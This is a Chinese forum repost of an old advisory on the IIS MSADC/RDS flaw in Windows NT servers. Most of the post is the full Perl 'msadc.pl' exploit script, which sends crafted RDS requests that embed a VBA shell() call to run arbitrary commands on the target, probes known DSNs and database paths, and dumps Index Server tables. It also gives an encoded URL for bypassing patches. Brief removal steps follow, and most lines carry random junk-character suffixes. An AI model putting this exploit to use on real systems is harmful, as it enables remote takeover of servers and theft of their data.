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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) .d/: 30Y  
s_.]4bl.8  
涉及程序: 2BCtJ`S`  
Microsoft NT server 5sPywk{  
LI)!4(WH  
描述: , *qCf@$I  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +\Q?w?DE|  
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详细: 'B0{U4?   
如果你没有时间读详细内容的话,就删除: |w}xl'>q  
c:\Program Files\Common Files\System\Msadc\msadcs.dll _tr<}PnZ  
有关的安全问题就没有了。 U}SXJH&&E  
a(]`F(L  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 L !4t[hhe=  
Q!,<@b)  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 $;G{Pyp  
关于利用ODBC远程漏洞的描述,请参看: /=uMk]h  
Vx_rc%'  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm f.GETw  
a{Esw`  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ;IK[Y{W/  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Jx#k,Z4  
v+"rZ  
这里不再论述。 '&;yT[  
aQ j*KMc  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: rwIe qV{:  
i* R,QN)  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 80M;4nH^5  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! R_sC! -  
kj5Q\vr)  
.lhn;*Yi  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ^[Cv26  
w<9>Q1(  
#!perl 5BR5X\f0  
# juBw5U<  
# MSADC/RDS 'usage' (aka exploit) script ;d$qc<2uA  
# VGL#!4wK  
# by rain.forest.puppy ~"Gf<3^y+  
# d7Ur$K\=y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1xf=_F0`&  
# beta test and find errors! \n0Oez0z!B  
A~nf#(!^]  
use Socket; use Getopt::Std; 56hA]O29O  
getopts("e:vd:h:XR", \%args); NvjJ b-u  
?t@v&s  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; h;lirvO|  
*b}>cn)<v  
if (!defined $args{h} && !defined $args{R}) { avp; *G }  
print qq~ dMx4ykrR  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4;`Bj:.  
-h <host> = host you want to scan (ip or domain) j\RpO'+}  
-d <seconds> = delay between calls, default 1 second M9!AIHq4  
-X = dump Index Server path table, if available a:YI"*S  
-v = verbose !2:3MbtR  
-e = external dictionary file for step 5 iAMtejw  
6{d6s#|%  
Or a -R will resume a command session U-wLt(Y<  
t)oapIeIe  
~; exit;} "x'),  
B@Nt`ky0*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; h?\2 _s  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &p<(_|Af  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} t<:D@J]a  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #0b&^QL  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} b4Y8N"hL%  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } RnfXN)+P  
+kdySWF  
if (!defined $args{R}){ $ret = &has_msadc; mxSKG> O  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ! 0/z>#b  
!~<siy  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" IGX:H)&*  
. "cmd /c "; v;y0jD#b  
$in=<STDIN>; chomp $in; (kTXP_  
$command="cmd /c " . $in ; 64Gi8|P  
vAP{;Q0 i  
if (defined $args{R}) {&load; exit;} j*T]HaM  
(\puf+  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [-*F"}D,  
&try_btcustmr; ~#:e*:ro  
lhC6S'vq  
print "\nStep 2: Trying to make our own DSN..."; jn9 ShF  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ~c{:DM  
u}9fj  
print "\nStep 3: Trying known DSNs..."; bAxTLIf  
&known_dsn; +?RGta'%k  
@E`?<|B}  
print "\nStep 4: Trying known .mdbs..."; -jg (GGJ  
&known_mdb; /7$mxtB5%L  
j&6 jRX  
if (defined $args{e}){ &;H{cv`  
print "\nStep 5: Trying dictionary of DSN names..."; Iy {U'a!  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ZeasYSo4P  
$7I] `Jt  
print "Sorry Charley...maybe next time?\n"; _8K%`6!"Z  
exit; 9Z\z96O-  
kR.wOJ7'  
############################################################################## *.y'(tj[  
aI#4H+/  
sub sendraw { # ripped and modded from whisker #`tD1T{;  
sleep($delay); # it's a DoS on the server! At least on mine... yeD_j/  
my ($pstr)=@_; 'Tb0-1S?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || c-XLI  
die("Socket problems\n"); FYPz 4K  
if(connect(S,pack "SnA4x8",2,80,$target)){ YTY%#"  
select(S); $|=1; 4YbC(f  
print $pstr; my @in=<S>;  e/e0d<(1  
select(STDOUT); close(S); dhRJg"vrQ  
return @in; 7INk_2  
} else { die("Can't connect...\n"); }} >3;^l/2c  
^[h2%c$  
############################################################################## 2xmk,&s  
HOYq?40.R  
sub make_header { # make the HTTP request 5!fSW2N  
my $msadc=<<EOT #G _/.h@  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 x;$|#]+  
User-Agent: ACTIVEDATA <Mgf]v.QS  
Host: $ip ~] =?b)B  
Content-Length: $clen ||TtNH  
Connection: Keep-Alive [h}K$q  
vW.%[]  
ADCClientVersion:01.06 %u]6KrG18b  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 #t71U a  
EHf)^]Z  
--!ADM!ROX!YOUR!WORLD! sV0Z  
Content-Type: application/x-varg l%"`{   
Content-Length: $reqlen <4F7@q, V  
;:#U 6?=t  
EOT ='/Z;3jt]x  
; $msadc=~s/\n/\r\n/g; {V2bU}5 [  
return $msadc;} !Cj(A"uqY  
}6~)bLzI}  
############################################################################## M1=_^f=&.  
V> a*3D  
sub make_req { # make the RDS request 5]"BRn1*  
my ($switch, $p1, $p2)=@_; XK3]AYH  
my $req=""; my $t1, $t2, $query, $dsn; <GWR7rUH  
P!+v:'P5f  
if ($switch==1){ # this is the btcustmr.mdb query okBE|g  
$query="Select * from Customers where City=" . make_shell(); gn5% F5W  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . oW'PO Ar  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} | 1V2tx  
X7cWgo66T  
elsif ($switch==2){ # this is general make table query *8!w&ME+.  
$query="create table AZZ (B int, C varchar(10))"; A|vP$zy  
$dsn="$p1";} _%IqjJO{=r  
rnvQ<671W  
elsif ($switch==3){ # this is general exploit table query NXgRNca  
$query="select * from AZZ where C=" . make_shell(); hYvNcOSks  
$dsn="$p1";} BF|*"#s  
4: sl(r  
elsif ($switch==4){ # attempt to hork file info from index server { vfq  
$query="select path from scope()"; (L#%!bd  
$dsn="Provider=MSIDXS;";} 1k>naf~O  
gg8c7d:Q  
elsif ($switch==5){ # bad query GJak.,0t  
$query="select"; .)ST[G]WK  
$dsn="$p1";} 1)U} i ^  
F!CAitxd  
$t1= make_unicode($query); Dr 'sIH^  
$t2= make_unicode($dsn); [,7-w  
$req = "\x02\x00\x03\x00"; S[U/qO)m  
$req.= "\x08\x00" . pack ("S1", length($t1)); N#Ag'i4HF  
$req.= "\x00\x00" . $t1 ; >~&(P_<b  
$req.= "\x08\x00" . pack ("S1", length($t2)); a>b8- j=J  
$req.= "\x00\x00" . $t2 ; [-VGArD[k,  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; "|4jP za  
return $req;} gB+ G'I  
UvD-C?u'  
############################################################################## lwsbm D  
aYj%w  
sub make_shell { # this makes the shell() statement XM!M%.0WS  
return "'|shell(\"$command\")|'";} =h\E<dw  
"]<}Hy  
############################################################################## ]31$KBC  
F50 JJZ  
sub make_unicode { # quick little function to convert to unicode eUs-5 L  
my ($in)=@_; my $out; ;f(n.i  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } =jUnM> 23  
return $out;} 56ZrCr  
jM\ %$_/  
############################################################################## DyX0 xx^  
@ KJV1t`  
sub rdo_success { # checks for RDO return success (this is kludge) ?>)yKa#U  
my (@in) = @_; my $base=content_start(@in); L1MrrC  
if($in[$base]=~/multipart\/mixed/){ lM&UFEl-\  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ?waebuj>  
return 0;} ]^ !}*  
T&4fBMBp,%  
############################################################################## j)Lo'&Y~=  
;@!;1KDy  
sub make_dsn { # this makes a DSN for us )d_U)b7i  
my @drives=("c","d","e","f"); #01/(:7  
print "\nMaking DSN: "; #ko6L3Pi  
foreach $drive (@drives) { sy.:T]ZH  
print "$drive: "; cKpQr7]ur  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . AY@k-4  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 1)Eq&ASB  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); {_Np<r;j<  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; hg#c[sZL  
return 0 if $2 eq "404"; # not found/doesn't exist 0x4l5x$8  
if($2 eq "200") { @WJf)  
foreach $line (@results) { 9@etg4#]  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ]0YDb~UB  
} return 0;} Cn/q=  
4L $};L  
############################################################################## K /ZHJkJ7  
'v+96b/;  
sub verify_exists { P|v ?  
my ($page)=@_; gQ,4xTX  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 5IO3 %p?  
return $results[0];} g6`.qyVfz'  
y0y+%H-  
############################################################################## 1V\1]J/  
8ur_/h7  
sub try_btcustmr { sHF%=Vu  
my @drives=("c","d","e","f"); ?9qAe  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ',%5mF3j  
$ JuLAqq  
foreach $dir (@dirs) { H'']J9O  
print "$dir -> "; # fun status so you can see progress ]svw CPu C  
foreach $drive (@drives) { . *Z#cq0  
print "$drive: "; # ditto 5 5a@)>h  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; }:"R-s  
$reqlenlen=length( "$reqlen" ); `} ZL'\G  
$clen= 206 + $reqlenlen + $reqlen; r"6lLc  
HN^w'I'bp  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); gMCy$+?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} cx<h_  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} jw/ wcP  
OfW%&LAMQ  
############################################################################## "_ Zh5 g  
<'VA=orD  
sub odbc_error { P%ye$SASd  
my (@in)=@_; my $base; w:n(pLc<  
my $base = content_start(@in); g+VRT, r  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this OrzM hQaf  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qNhH%tYQ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wbo{JQ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n&3iz05}  
return $in[$base+4].$in[$base+5].$in[$base+6];} .`b4h"g:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; .Ydr[  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . g6HphRJ5s  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} c,+iU R<  
USH@:c#t  
############################################################################## [9'|7fdU  
JvT %R`i  
sub verbose { LNWqgIq  
my ($in)=@_; D<lQoO+  
return if !$verbose; Cln^1N0  
print STDOUT "\n$in\n";} <aD'$(N5  
jt0H5-x  
############################################################################## pW`ntE#L  
xzuPie\  
sub save { gF$1wV]e  
my ($p1, $p2, $p3, $p4)=@_; !k4 }v'=  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 0-6:AHix  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; SjFF=ib  
close OUT;} qQwJJjf  
y^5T/M  
############################################################################## Zb 12:?  
8ct+?-3g  
sub load { oSpi{ $x  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; oFX"F0rx  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); m 4wPuW  
@p=<IN>; close(IN); Cb4d|yiS8  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @'6S[zU  
$target= inet_aton($ip) || die("inet_aton problems"); b\<lNE!L  
print "Resuming to $ip ..."; y8Ei=[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `NYF?%  
if($p[1]==1) { 7Y$4MMNQ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ^Tb}]aHg  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ^p{A!I!  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); =ip~J<sw&  
if (rdo_success(@results)){print "Success!\n";} yBU ZVqqDa  
else { print "failed\n"; verbose(odbc_error(@results));}} r@N39O*Wq  
elsif ($p[1]==3){ Q"x`+?!  
if(run_query("$p[3]")){ L{+&z7M  
print "Success!\n";} else { print "failed\n"; }} &ryl$!!3H  
elsif ($p[1]==4){ .aVHd<M  
if(run_query($drvst . "$p[3]")){ 6{Krw \0  
print "Success!\n"; } else { print "failed\n"; }} g6x/f<2x  
exit;} S,ouj;B  
F(?Fz8  
############################################################################## [,.[gWA  
a>-}\GXTA  
sub create_table { My'9S2Y8nv  
my ($in)=@_; ^K1~eb*K  
$reqlen=length( make_req(2,$in,"") ) - 28; : HQ8M*o  
$reqlenlen=length( "$reqlen" ); +H2m<  
$clen= 206 + $reqlenlen + $reqlen; _stI?fz*4k  
my @results=sendraw(make_header() . make_req(2,$in,"")); B]+7 JB  
return 1 if rdo_success(@results); s8`}x_k=  
my $temp= odbc_error(@results); verbose($temp); LS R_x$G+t  
return 1 if $temp=~/Table 'AZZ' already exists/; ~Hp#6+  
return 0;} Gd]5xl HRU  
yoq\9* ?u^  
############################################################################## yBXkN&1=%;  
s= -WB0E  
sub known_dsn { nm{'HH-4  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0XBBA0t q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", XZUB*P}]D  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |ec(z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); JO<gN= [  
u`L!za7fi  
foreach $dSn (@dsns) { Mdy0!{d  
print "."; ;:8jxkx6%  
next if (!is_access("DSN=$dSn"));  Xv? S  
if(create_table("DSN=$dSn")){ ?vL^:f["  
print "$dSn successful\n"; n##w[7B*  
if(run_query("DSN=$dSn")){ ?h>%Ix  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ZPxOds1m  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ;ZE<6;#3IP  
Rpa A)R,  
############################################################################## qw Kh,[]  
$Nt]${0  
sub is_access { ya*q;D  
my ($in)=@_; CwH)6uA  
$reqlen=length( make_req(5,$in,"") ) - 28; fd,}YAiX  
$reqlenlen=length( "$reqlen" ); }{w_>!ee  
$clen= 206 + $reqlenlen + $reqlen; JJbM)B@-  
my @results=sendraw(make_header() . make_req(5,$in,"")); h!t2H6eyF  
my $temp= odbc_error(@results); p[k9C$@e}  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 1VPN#Q!  
return 0;} >FE QtD~F  
u}@% 70A  
############################################################################## %;"B;~  
wzLiVe-  
sub run_query { CpP$HrQ  
my ($in)=@_; B 3,ig9  
$reqlen=length( make_req(3,$in,"") ) - 28; Fm[?@Z&wP  
$reqlenlen=length( "$reqlen" ); Vqv2F @.  
$clen= 206 + $reqlenlen + $reqlen; DY+8m8!4H  
my @results=sendraw(make_header() . make_req(3,$in,"")); e) /u>I  
return 1 if rdo_success(@results); !z4Hj{A_  
my $temp= odbc_error(@results); verbose($temp); -c<1H)W  
return 0;} rTH[?mkf4  
?XTg%U  
############################################################################## |]2eGrGj4  
3Oig/KZ  
sub known_mdb { Yf2+@E  
my @drives=("c","d","e","f","g"); 7K5o" "  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =-1^K  
my $dir, $drive, $mdb; 5sV/N] !  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ][>M<J  
&|&YRHv  
# this is sparse, because I don't know of many q%=7<( w  
my @sysmdbs=( "\\catroot\\icatalog.mdb", "`1of8$X7  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", +D{*L0$D"  
"\\system32\\certmdb.mdb", xz Gsfd  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 48"Y-TV  
!\D] \|Bo  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", iw]B QjK  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;6 &=]I  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Y$`hudJ&  
"\\cfusion\\cfapps\\security\\realm_.mdb", {/|8g(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", nD?M;XN  
"\\cfusion\\database\\cfexamples.mdb", $0`$)(Y  
"\\cfusion\\database\\cfsnippets.mdb", k~s>8N:&G  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <K.C?M(9  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ZZ.0'   
"\\cfusion\\brighttiger\\database\\cleam.mdb", krnk%ug  
"\\cfusion\\database\\smpolicy.mdb", dW=D]  
"\\cfusion\\database\cypress.mdb", {i7Fu+xZj  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", nY5n%>8  
"\\website\\cgi-win\\dbsample.mdb", DGuUI}|)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ?PxYS%D_L  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" !+26a*P  
); #these are just %RD7=Z-z  
foreach $drive (@drives) { J/&*OC  
foreach $dir (@dirs){ <T2~xn  
foreach $mdb (@sysmdbs) { (9[C0eS  
print "."; T[$hYe8%^  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ OXCml(>{  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $q@RHcj  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 8!fAv$g0  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; @aPu}Hi  
} else { print "Something's borked. Use verbose next time\n"; }}}}} GHsdLe=t0#  
\S@=zII_  
foreach $drive (@drives) { ujp,D#xHP  
foreach $mdb (@mdbs) { `q{'_\gVt(  
print "."; &T/9y W[L  
if(create_table($drv . $drive . $dir . $mdb)){ j]F3[gpc  
print "\n" . $drive . $dir . $mdb . " successful\n"; 1X_!%Z  
if(run_query($drv . $drive . $dir . $mdb)){ $8ww]}K  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; :x5o3xE  
} else { print "Something's borked. Use verbose next time\n"; }}}} ZYt"=\_  
} wNZS6JF.d  
:bF2b..XOu  
############################################################################## ]( 6vG$\  
}6{)Jv  
sub hork_idx { 5}^08Xl  
print "\nAttempting to dump Index Server tables...\n"; 5N</Z6f'o  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; %B un@  
$reqlen=length( make_req(4,"","") ) - 28; VqT[ca\  
$reqlenlen=length( "$reqlen" ); 52R.L9Ai  
$clen= 206 + $reqlenlen + $reqlen; RuEnr7gi  
my @results=sendraw2(make_header() . make_req(4,"","")); *wZV*)}  
if (rdo_success(@results)){ GN"LU>9|  
my $max=@results; my $c; my %d; GQAg ex)D  
for($c=19; $c<$max; $c++){ ^|12~d_.T  
$results[$c]=~s/\x00//g; Y%cA2V\#m  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 7Z:l;%]K  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; P*=3$-`  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; zgOwSg8  
$d{"$1$2"}="";} b0CaoSWo  
foreach $c (keys %d){ print "$c\n"; } u^.k"46hn  
} else {print "Index server doesn't seem to be installed.\n"; }} :qKY@-t7H  
00x^zu?N  
############################################################################## Q2WrB+/  
FrM~6A_  
sub dsn_dict { cx%9UK*c  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); FNRE_83  
while(<IN>){ Q 6<Uui w  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; >l*9DaZ  
next if (!is_access("DSN=$dSn")); eeR@p$4i  
if(create_table("DSN=$dSn")){ >!.lr9(l  
print "$dSn successful\n"; v8(u9V%?6  
if(run_query("DSN=$dSn")){ DMpd(ws  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { C^v -&*v  
print "Something's borked. Use verbose next time\n";}}} Z 2jMBe  
print "\n"; close(IN);} -.3k vL  
exU=!3Ji  
############################################################################## otVdx&%]  
8pt<)Rs}  
sub sendraw2 { # ripped and modded from whisker FQRcZpv;  
sleep($delay); # it's a DoS on the server! At least on mine... nk.E q[08  
my ($pstr)=@_; Yzx0[_'u  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >V=@[B(0  
die("Socket problems\n"); *J5euA5=  
if(connect(S,pack "SnA4x8",2,80,$target)){ "r3s'\  
print "Connected. Getting data"; 7n]%`Yb  
open(OUT,">raw.out"); my @in; nM}`H'0  
select(S); $|=1; print $pstr; &8L\FAY0%9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} TTak[e&j3  
close(OUT); select(STDOUT); close(S); return @in; A>@e pCD  
} else { die("Can't connect...\n"); }} AdW7 vn  
[:'?}p  
############################################################################## \`5u@Nzx  
,B>b9,~3a  
sub content_start { # this will take in the server headers euC,]n.  
my (@in)=@_; my $c; ee[NZz  
for ($c=1;$c<500;$c++) { Pt;Ahmi  
if($in[$c] =~/^\x0d\x0a/){ 7u0R=q  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Av4E ?@R  
else { return $c+1; }}} |.W;vc<  
return -1;} # it should never get here actually bncFrzp#o  
1D DOUV  
############################################################################## cYS+XBz  
Jtk(yp{Zz  
sub funky { sUMn (@r  
my (@in)=@_; my $error=odbc_error(@in); ^C T}i'  
if($error=~/ADO could not find the specified provider/){ 8 z7,W3b  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; P#oV ^  
exit;} {Oszq(A  
if($error=~/A Handler is required/){ b;ZAz  
print "\nServer has custom handler filters (they most likely are patched)\n"; rJj~cPwL"  
exit;} z5w|+9U  
if($error=~/specified Handler has denied Access/){ .q}k  
print "\nServer has custom handler filters (they most likely are patched)\n"; >xgd<  
exit;}} zt}p-U2I  
,KaWP  
############################################################################## EOC"a}Cq-  
f/m6q8!L{  
sub has_msadc { 6GvnyJ{[  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); o)WSMV(&f  
my $base=content_start(@results); ,Yz+?SmSZ&  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); {m GWMv  
return 0;} n/D]r  
4tTJE<y  
######################## z|H>jit+  
@U5>w\  
W{aNS@1  
解决方案: E+ 20->  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll rNp#5[e  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ~yN,FpD  
dW68lVWq_  
拿出来充数 哈哈
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